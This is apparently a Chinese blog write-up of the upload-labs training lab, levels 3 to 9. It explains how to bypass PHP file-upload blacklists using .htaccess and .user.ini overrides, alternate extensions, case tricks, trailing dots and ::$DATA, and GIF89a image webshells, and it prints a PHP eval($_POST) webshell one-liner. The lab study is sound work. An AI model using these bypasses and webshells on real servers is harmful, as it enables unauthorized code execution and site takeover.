upload-labs pass3-9

文章目录

  • pass03
  • pass04
  • pass05
  • pass06
  • pass07-09

pass03

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

发现是黑名单,所以可以改后缀 .php3 .phtml等

同时代码也把文件名更改了(代码省略了),抓包时会获得新的文件名

pass04

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

黑名单过滤:特别地看phpx这样的后缀名,然后是.ini,.htaccess 这两个有没有被遗漏

先上传1张正常的图片,再用.htaccess去覆盖
内容:

<FilesMatch "webshell.PNG">
SetHandler application/x-httpd-php
</FilesMatch>

关于更多.htaccess 参考了这篇有更多尝试
只能用于Apache

另一种方法:因为apache 由右向左解析的特性, 因此可以上传一个它不认识的后缀来绕过黑名单检测,比如 shell.php.aaaaaa ,这样可以绕过黑名单后缀让文件成功上传,又因为apache的特性,可以成功以php来解析

pass05

也是黑名单,其它跟4一样
但是这次黑名单少得是
.ini
所以考虑使用 user.ini
SUCTF 2019 CheckIn

在PHP中有个很有趣的东西叫.user.ini,有点类似.htaccess文件,PHP会在每个目录下扫描INI文件,我们可以通过.user.ini文件来实现隐藏后门的效果

在.user.ini中可以识别PHP_INI_PERDIR和PHP_INI_USER模式的INI设置
关于PHP_INI_*一共有四种:

  • PHP_INI_USER 可在用户脚本以及.user.ini中设定

  • PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中设定

  • PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定

  • PHP_INI_ALL 可在任何地方设定

查阅php.ini配置项手册:

配置项:auto_prepend_file
auto_prepend_file

该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg
参考文章
参考文章2

在upload-labs里面没有其它的过滤了,但是各种赛事题中,必定还有一些过滤,比如SUCTF这题,过滤了

过程:
(1)上传一张图片
(2)上传 .user.ini 文件。内容为:
auto_prepend_file=2.png(这一句即可) (3)访问:http://IP/upload/2.png/xx.php(目录中存在的 一个php文件)

当然,除了菜刀直接链接以外,还得学一点命令的,有时会出现不行的情况

再回到SUCTF这题= =
1.对于过滤

<script language=”php”>xxx</script>
<% xxx %>
<? xxx ?>
<script language="php">eval($_POST['a']);</script>

2.exif_imagetype()函数 表示有文件幻数检测
增加文件头,或者把代码直接贴到正常图片的下面(图片马)
最简单的是 图片头增加GIF89a

对于.user.ini也是一样,要+文件头的!!(毕竟上传的时候都要检测)
总的来说参考文章写得特别好了!

pass06

还是黑名单的问题
这一关没有考虑大小写

缺少了:  $file_ext = strtolower($file_ext); //转换为小写

pass07-09

首先,比较完整的绕过是这样的:

  $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

对于pass07-pass09 都有上述代码不完善的地方
7:缺少去空
8:缺少删除末尾的点
9:缺少::$DATA

所以对于文件webshell.php,末尾可以加点东西绕过

你可能感兴趣的:(#,文件上传)